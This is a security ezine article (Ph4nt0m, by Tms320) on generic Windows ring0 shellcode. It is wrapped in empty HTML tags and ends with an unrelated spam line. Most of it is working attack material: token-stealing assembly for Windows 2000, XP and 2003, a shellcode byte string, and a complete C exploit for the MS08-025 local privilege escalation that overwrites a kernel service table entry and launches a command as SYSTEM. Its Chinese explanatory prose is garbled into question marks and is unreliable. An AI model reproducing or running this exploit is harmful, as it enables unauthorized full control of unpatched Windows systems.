<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                                              ==Ph4nt0m Security Team==
                     
                                           Issue 0x02, Phile #0x05 of 0x0A
                     
                    
                    |=---------------------------------------------------------------------------=|
                    |=------------------------=[ ??д??????shellcode ]=------------------------=|
                    |=---------------------------------------------------------------------------=|
                    |=---------------------------------------------------------------------------=|
                    |=-----------------------=[         By Tms320        ]=----------------------=|
                    |=----------------------=[   <Tms320_at_ph4nt0m.org>  ]=---------------------=|
                    |=---------------------------------------------------------------------------=|
                    
                    
                    ???????????????????о????????ring3??????ring0
                    
                        ???????ms08-025?????????????????????????????????NT???????汾??
                    ??????????о????????????????t???????????????ó????????????????????
                    ???????????ring0????????????????????????????????????????????
                    system?????м???
                       
                        ???????????ó???ring0 shellcode????????system?????Token???赱???????
                    ???system?????????????????£?
                        
                        if ( OsVersionInfo.dwMinorVersion == 0 ) {
                    
                            __asm {
                    
                                   nop
                                   nop
                                   nop
                                   nop
                                   nop
                                   nop
                    
                                   mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
                                   Mov eax,[eax]
                    
                                   mov esi,[eax+0x44]//????????EPROCESS
                                   mov eax,esi
                    
                            search2000:
                    
                                   mov eax,[eax+0xA0]
                                   sub eax,0xA0
                                   mov edx,[eax+0x9C]
                                    cmp edx,0x8 // ???PID??????????
                                   jne search2000
                    
                                   mov eax,[eax+0x12C] // ???system?????token
                                   mov [esi+0x12C],eax // ??????????token
                                   ret 8
                    
                            }
                        }
                    
                        if ( OsVersionInfo.dwMinorVersion == 1 ) {
                    
                            __asm {
                    
                                   nop
                                   nop
                                   nop
                                   nop
                                   nop
                                   nop
                    
                                   mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
                                   Mov eax,[eax]
                    
                                   mov esi,[eax+0x220]
                                   mov eax,esi
                    
                            searchXp:
                    
                                   mov eax,[eax+0x88]
                                   sub eax,0x88
                                   mov edx,[eax+0x84]
                                   cmp edx,0x4 // ???PID??????????
                                   jne searchXp
                    
                                   mov eax,[eax+0xc8] // ???system?????token
                                   mov [esi+0xc8],eax // ??????????token
                    
                                   ret 8
                    
                            }
                        }
                    
                        if ( OsVersionInfo.dwMinorVersion == 2 ) {
                    
                            __asm {
                    
                               nop
                                   nop
                                   nop
                                   nop
                                   nop
                                   nop
                    
                                   mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
                                   Mov eax,[eax]
                    
                                   mov esi,[eax+0x218]
                                   mov eax,esi
                    
                            search2003:
                    
                                   mov eax,[eax+0x98]
                                   sub eax,0x98
                                   mov edx,[eax+0x94]
                                    cmp edx,0x4 // ???PID??????????
                                   jne search2003
                    
                                   mov eax,[eax+0xd8] // ???system?????token
                                   mov [esi+0xd8],eax // ??????????token
                                   ret 8
                    
                            }
                        }
                    
                        ???????????????????EPROCESS???????????????????system????PID???????
                    ?????????????EPROCESS???????system???????????ж????汾????????????????
                    ???ring0 shellcode????????????????????????????????????????£????????
                    ?????????????????????????????sp1??2k3??????????????????ring0???ó??????
                    ??????????
                    
                    ???????????????????
                    
                        ??????????????????????????????????????ring3 shellcode????????
                    ??????API???????????????????????API???????????????
                    
                        ?????????system?????Token???赱???н????????????????μ??????
                    
                        1.???system????EPROCESS??ring0 ??????????EPROCESS??????ntoskrnl.exe????
                    ??PsInitialSystemProcess ????????system?????EPROCESS?????????????
                    ntoskrnl.exe???????????PsInitialSystemProcess??????system?????EPROCESS??
                       
                        2.??????????EPROCESS??ntoskrnl.exe????IoThreadToProcess??xp??2k3??
                    PsGetThreadProcess??????????????????????????????????????????KPCR+124h
                    ???????????????????IoThreadToProcess??????????????EPROCESS???????
                    ?????汾??NT????KPCR??????????????????,????????????????[0FFDFF124h]
                    ??????????ETHREAD???
                       
                        3.?滻????????Token?system??Token??????Token??EPROCESS?е????????????
                    ?????????????????????滻??ntoskrnl.exe????PsReferencePrimaryToken????????
                    ???EPROCESS?Token???????????????????????????????????????????
                       
                        ????win 2k????PsReferencePrimaryToken?Token????????
                    
                        mov     eax, [ebp+8]
                        mov     edi, [eax+12Ch]
                        lea     eax, [edi-18h]
                              
                        ????win xp/2k3????PsReferencePrimaryToken?Token????????
                    
                        mov     edi, [ebp+8]
                        lea     ebx, [edi+0D8h]
                       
                        ???????????????????????????????????????PsReferencePrimaryToken??
                    ??????????lea????á??????????С??EPROCESS?????????????lea???????λ
                    ???????0?????????????Token?????????
                    
                        ???????????????????shellcode??
                    
                        PsReferencePrimaryToken=80123456h
                        PsInitialSystemProcess=80123456h
                        IoThreadToProcess=80123456h;
                            pushad
                            pushfd
                            mov esi,PsReferencePrimaryToken
                        findtokenoffset:
                            lodsb
                            cmp     al, 8Dh;
                            jnz     findtokenoffset
                            mov     edi,[esi+1]
                            and     al, [esi+3];?ж?????Win 2k
                            jz    @F
                            mov     edi,[esi-5]
                         @@:
                            mov     esi, [PsInitialSystemProcess]
                            push    dword ptr [0FFDFF124h]
                            mov     eax,PsGetThreadProcess
                            call    eax
                            add     esi, edi
                            add     edi, eax
                            movsd
                            popfd
                            popad
                            ret     08h
                    
                        ?????е????PsReferencePrimaryToken??PsInitialSystemProcess??IoThreadToProcess
                    ???????????ntoskrnl.exe????GetProcAddress??????????????????????????????????
                    ??????ms08-025??????ó????????????Щ??????????
                    
                    ?????????????????
                    
                        ????????shellcode??????API???????????shellcode??????API?????????
                    ???ntoskrnl.exe??????????????PE?????????????ring3????API??????ring0
                    ????????????????????API????????????API??????????????????ntoskrnl.exe
                    ??????????????????е??????????PE???á????????ж??????????У??????????
                    ??????ntoskrnl.exe?ж????????????????sidt??????????????????ж???????
                    ??????????????ntoskrnl.exe?е??????IDT????????????KPCR???У????????
                    ??????????[0FFDFF038h](KPCR+38h)????ж????
                        
                        ???????????????д??161????ring0 shellcode???????????ms08-025??????С?
                    ????????????ring0 shellcdoe????????????????????????API????????????????
                    ?????????С????ring0 shellcode?????????????????????????????????????
                    ????????
                    
                    ??????
                    
                        ?????ж????汾????????ó??????????????????????????????????
                    
                        #include <stdio.h>
                        #include <windows.h>
                        #pragma comment (lib, "user32.lib")
                        #pragma comment (lib, "ntdll.lib")
                    
                        typedef LONG NTSTATUS; 
                    
                        typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE               ProcessHandle,
                                               PVOID            *BaseAddress,
                                               ULONG                ZeroBits,
                                               PULONG           RegionSize,
                                               ULONG                AllocationType,
                                               ULONG                Protect );
                        typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
                    
                        ZWVDMCONTROL    ZwVdmControl=NULL;
                        DWORD        PsReferencePrimaryToken = 0;
                        DWORD        PsInitialSystemProcess = 0;
                        DWORD        IoThreadToProcess = 0;
                    
                        #define STATUS_SUCCESS  ((NTSTATUS)0x00000000L) 
                        #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 
                    
                        typedef enum _SYSTEM_INFORMATION_CLASS {
                    
                            SystemModuleInformation=11,
                        } SYSTEM_INFORMATION_CLASS;
                    
                        typedef struct _IMAGE_FIXUP_ENTRY {
                    
                            WORD    offset:12;
                            WORD    type:4;
                        } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
                    
                        typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
                    
                            ULONG Reserved[2];
                            PVOID Base;
                            ULONG Size;
                            ULONG Flags;
                            USHORT Index;
                            USHORT Unknown;
                            USHORT LoadCount;
                            USHORT ModuleNameOffset;
                            CHAR ImageName[256];
                        } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 
                    
                        extern "C"
                        NTSTATUS 
                        NTAPI
                        NtAllocateVirtualMemory(
                            IN HANDLE ProcessHandle,
                            IN OUT PVOID *BaseAddress,
                            IN ULONG ZeroBits,
                            IN OUT PULONG AllocationSize,
                            IN ULONG AllocationType,
                            IN ULONG Protect
                            );
                    
                        extern "C"
                        NTSTATUS
                        NTAPI
                        NtQuerySystemInformation(          
                            IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
                            IN OUT PVOID SystemInformation,
                            IN ULONG SystemInformationLength,
                            OUT PULONG ReturnLength OPTIONAL
                            );
                    
                        extern "C"
                        PIMAGE_NT_HEADERS
                        NTAPI
                        RtlImageNtHeader (
                            IN PVOID Base
                            );
                    
                        extern "C"
                        PVOID
                        NTAPI
                        RtlImageDirectoryEntryToData (
                            IN PVOID Base,
                            IN BOOLEAN MappedAsImage,
                            IN USHORT DirectoryEntry,
                            OUT PULONG Size
                            );
                    
                        void ErrorQuit(char *msg)
                        {
                            printf("%s:%x\n", msg, GetLastError());
                            ExitProcess(0);
                        }
                    
                        DWORD
                        GetKernelBase(char *KernelName)
                        {
                            NTSTATUS        status = STATUS_SUCCESS;
                            ULONG                i = 0;
                            ULONG                NeedSize = 0;
                            ULONG                ModuleTotal = 0;
                            DWORD                dwKernelBase = 0;
                            PCHAR Temp[10];
                            PSYSTEM_MODULE_INFORMATION        SystemModuleInfo = NULL;
                            
                            status = NtQuerySystemInformation(
                                        SystemModuleInformation, 
                                        (PVOID)Temp, 
                                        10, 
                                        &NeedSize );
                    
                            if( status != STATUS_INFO_LENGTH_MISMATCH ) {
                    
                                printf("NtQuerySystemInformation (first) failed, status: %08X\n", status );
                                return dwKernelBase;
                            }
                            
                            SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)LocalAlloc( LPTR, NeedSize );
                            if ( NULL == SystemModuleInfo ) {
                            
                                printf("NtQuerySystemInformation failed (second), code: %08X\n", GetLastError() );
                                return dwKernelBase;
                            }
                            
                            status = NtQuerySystemInformation(
                                        SystemModuleInformation, 
                                        SystemModuleInfo, 
                                        NeedSize, 
                                        &NeedSize );
                            
                            if( status != STATUS_SUCCESS ) {
                    
                                printf("NtQuerySystemInformation failed, status: %08X\n", status );
                                return dwKernelBase;
                            }
                    
                            
                            ModuleTotal = *(PULONG)SystemModuleInfo;
                            SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)SystemModuleInfo+4);
                            
                            for( i=0; i<ModuleTotal; i++ ) {
                    
                                if( strstr(SystemModuleInfo->ImageName, "ntoskrnl.exe")) {
                                strcpy(KernelName, "ntoskrnl.exe");
                                    dwKernelBase = (DWORD)SystemModuleInfo->Base;
                                    break;
                                }
                            else if( strstr(SystemModuleInfo->ImageName, "ntkrnlpa.exe")) {
                                strcpy(KernelName, "ntkrnlpa.exe");
                                    dwKernelBase = (DWORD)SystemModuleInfo->Base;
                                    break;
                                }
                            }
                            
                            LocalFree( SystemModuleInfo );
                            return  dwKernelBase;
                        }
                    
                    
                        DWORD
                        FindKiServiceTable(HMODULE  hModule, DWORD dwKeSDTOffset)
                        {
                            PIMAGE_NT_HEADERS                NtHeaders = NULL;
                            PIMAGE_BASE_RELOCATION        ImageBaseReloc = NULL;
                            PIMAGE_FIXUP_ENTRY                ImageFixup = NULL;
                            DWORD                                        RelocTableSize = 0;
                            DWORD                                        i;
                            DWORD                                        dwVirtualAddress;
                            DWORD                                        dwRva;
                            DWORD                                        dwKiServiceTable = 0;
                    
                            NtHeaders = RtlImageNtHeader( hModule );
                            ImageBaseReloc = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData( (PVOID)hModule,
                                                                            TRUE,
                                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC,
                                                                            &RelocTableSize );
                            if ( NULL == ImageBaseReloc ) {
                            
                                return 0;
                            }
                    
                            do {
                    
                                ImageFixup = (PIMAGE_FIXUP_ENTRY)((DWORD)ImageBaseReloc + sizeof(IMAGE_BASE_RELOCATION));
                            
                                for ( i = 0; 
                                    i < ( ImageBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) >> 1;
                                    i++, ImageFixup++ ) {
                                    
                                        if ( ImageFixup->type == IMAGE_REL_BASED_HIGHLOW ) {
                                        
                                            dwVirtualAddress = ImageBaseReloc->VirtualAddress + ImageFixup->offset;
                                            dwRva = *(PDWORD)((DWORD)hModule+dwVirtualAddress) - (DWORD)NtHeaders->OptionalHeader.ImageBase;
                                        
                                            if ( dwRva == dwKeSDTOffset ) {
                                            
                                                if (*(PWORD)((DWORD)hModule + dwVirtualAddress-2) == 0x05c7) {
                    
                                                    dwKiServiceTable = *(PDWORD)((DWORD)hModule + dwVirtualAddress+4) - NtHeaders->OptionalHeader.ImageBase;        
                                                    return dwKiServiceTable;
                                                }
                                            }
                                        }
                                }
                    
                                *(PDWORD)&ImageBaseReloc += ImageBaseReloc->SizeOfBlock;
                            
                            } while ( ImageBaseReloc->VirtualAddress );
                    
                            return 0;
                        }
                    
                        void InitTrampoline()
                        {
                    
                           PNTALLOCATE NtAllocateVirtualMemory;
                           LPVOID       addr = (LPVOID)3;
                           DWORD       dwShellSize=0x1000;
                           unsigned char trampoline[]=
                        "\x60\x9C\xBE\x56\x34\x12\x80\xAC\x3C\x8D\x75\xFB\x8B\x7E\x01\x22"
                        "\x46\x03\x74\x03\x8B\x7E\xFB\x8B\x35\x56\x34\x12\x80\xFF\x35\x24"
                        "\xF1\xDF\xFF\xB8\x56\x34\x12\x80\xFF\xD0\x03\xF7\x03\xF8\xA5\x9D"
                        "\x61\xC2\x08\x00";
                    
                           NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");
                    
                           if( !NtAllocateVirtualMemory )
                               exit(0); 
                    
                           NtAllocateVirtualMemory(   (HANDLE)-1,
                                           &addr,
                                           0,
                                           &dwShellSize,
                                           MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                                           PAGE_EXECUTE_READWRITE );
                    
                           if( (PULONG)addr )
                           {
                               printf("\n[++] Error Allocating memory\n");
                               exit(0); 
                           }
                    
                    
                           *(DWORD*)(trampoline+3)=PsReferencePrimaryToken;
                           *(DWORD*)(trampoline+0x19)=PsInitialSystemProcess;
                           *(DWORD*)(trampoline+0x24)=IoThreadToProcess;
                           memcpy(NULL,trampoline,sizeof(trampoline)-1);
                        }
                    
                        void GetFunction()
                        {
                            HMODULE    hNtdll;
                            
                            hNtdll = LoadLibrary("ntdll.dll");
                            if(hNtdll == NULL)
                            ErrorQuit("LoadLibrary failed.\n");
                            
                            ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
                            if(ZwVdmControl == NULL)
                            ErrorQuit("GetProcAddress failed.\n");
                                   
                            FreeLibrary(hNtdll);
                        }
                        int main(int argc, char **argv)
                        {
                    
                           //PULONG   PntVdmControl=0x805F0DB0;
                            DWORD PntVdmControl=0x80800458; //???*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4???
                            
                            PVOID        KeServiceDescriptorTable = NULL;
                            DWORD        dwKernelBase = 0;
                            DWORD        dwKeSDTOffset = 0;
                            DWORD        dwKiServiceTable = 0;
                            DWORD        FuncNumber = 0;
                            HMODULE      hKernel;
                            char         szNtos[MAX_PATH] = {0};
                             
                            STARTUPINFOA                stStartup;
                            PROCESS_INFORMATION            pi;
                    
                          printf("\n\tMS08-025 Windows Local Privilege Escalation Vulnerability Exploit \n");
                          printf("\tBy Tms320, Tms320@ph4nt0m.org\n");
                          printf("\tAll unpathched OS can be compromised\n\n");
                          if ( argc < 2 )
                          {
                            printf("\tUsage: %s <command>\n", argv[0]);
                            exit(0);
                          }
                    
                           GetFunction();
                    
                           dwKernelBase = GetKernelBase(szNtos);
                    
                           if( dwKernelBase )
                           {
                               printf("Get KernelBase Success, %s base = %08X\n", szNtos, dwKernelBase);
                               hKernel = LoadLibraryExA(szNtos,0,1);
                           }
                           else
                           {
                               printf("GetProcAddress failed, code: %d\n", GetLastError());
                               return FALSE;
                           }   
                    
                            KeServiceDescriptorTable = GetProcAddress( hKernel,  "KeServiceDescriptorTable" );
                            if ( NULL == KeServiceDescriptorTable ) ErrorQuit("Get KeServiceDescriptorTable Address failed");
                    
                            printf( "KeServiceDescriptorTable = %08X\n", KeServiceDescriptorTable );
                    
                            dwKeSDTOffset = (DWORD)KeServiceDescriptorTable - (DWORD)hKernel;
                    
                            dwKiServiceTable = FindKiServiceTable( hKernel, dwKeSDTOffset );
                            if ( 0 == dwKiServiceTable )ErrorQuit("Find KiServiceTable failed.\n");
                            printf( "ok!!!\nKiServiceTable == %08X\n", dwKiServiceTable + dwKernelBase );
                    
                    
                            FuncNumber = *(PDWORD)((DWORD)ZwVdmControl + 1);
                    
                            printf( "ZwVdmControl Call Number: %08X\n", FuncNumber );
                    
                            PntVdmControl = (DWORD)( dwKiServiceTable + dwKernelBase + FuncNumber * sizeof(DWORD) );
                    
                    
                            PsReferencePrimaryToken = (DWORD)GetProcAddress( hKernel,  "PsReferencePrimaryToken" )-(DWORD)hKernel+dwKernelBase;        
                            PsInitialSystemProcess = (DWORD)GetProcAddress( hKernel,  "PsInitialSystemProcess" )-(DWORD)hKernel+dwKernelBase;
                            IoThreadToProcess = (DWORD)GetProcAddress( hKernel,  "IoThreadToProcess" )-(DWORD)hKernel+dwKernelBase;
                           InitTrampoline();
                    
                           SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl );
                           SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl+2);
                           printf("\n[+] Executing Shellcode...\n");
                    
                           ZwVdmControl(0, NULL);
                           GetStartupInfo( &stStartup );
                    
                           CreateProcess( NULL,
                               argv[1],
                               NULL,
                               NULL,
                               TRUE,
                               NULL,
                               NULL,
                               NULL,
                               &stStartup,
                               &pi );   //?????????cmd.exe??SYSTEM???
                    
                           
                           printf("[+] Exiting...\n");
                    
                           return TRUE;
                        }
                    
                    -EOF-
                    

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频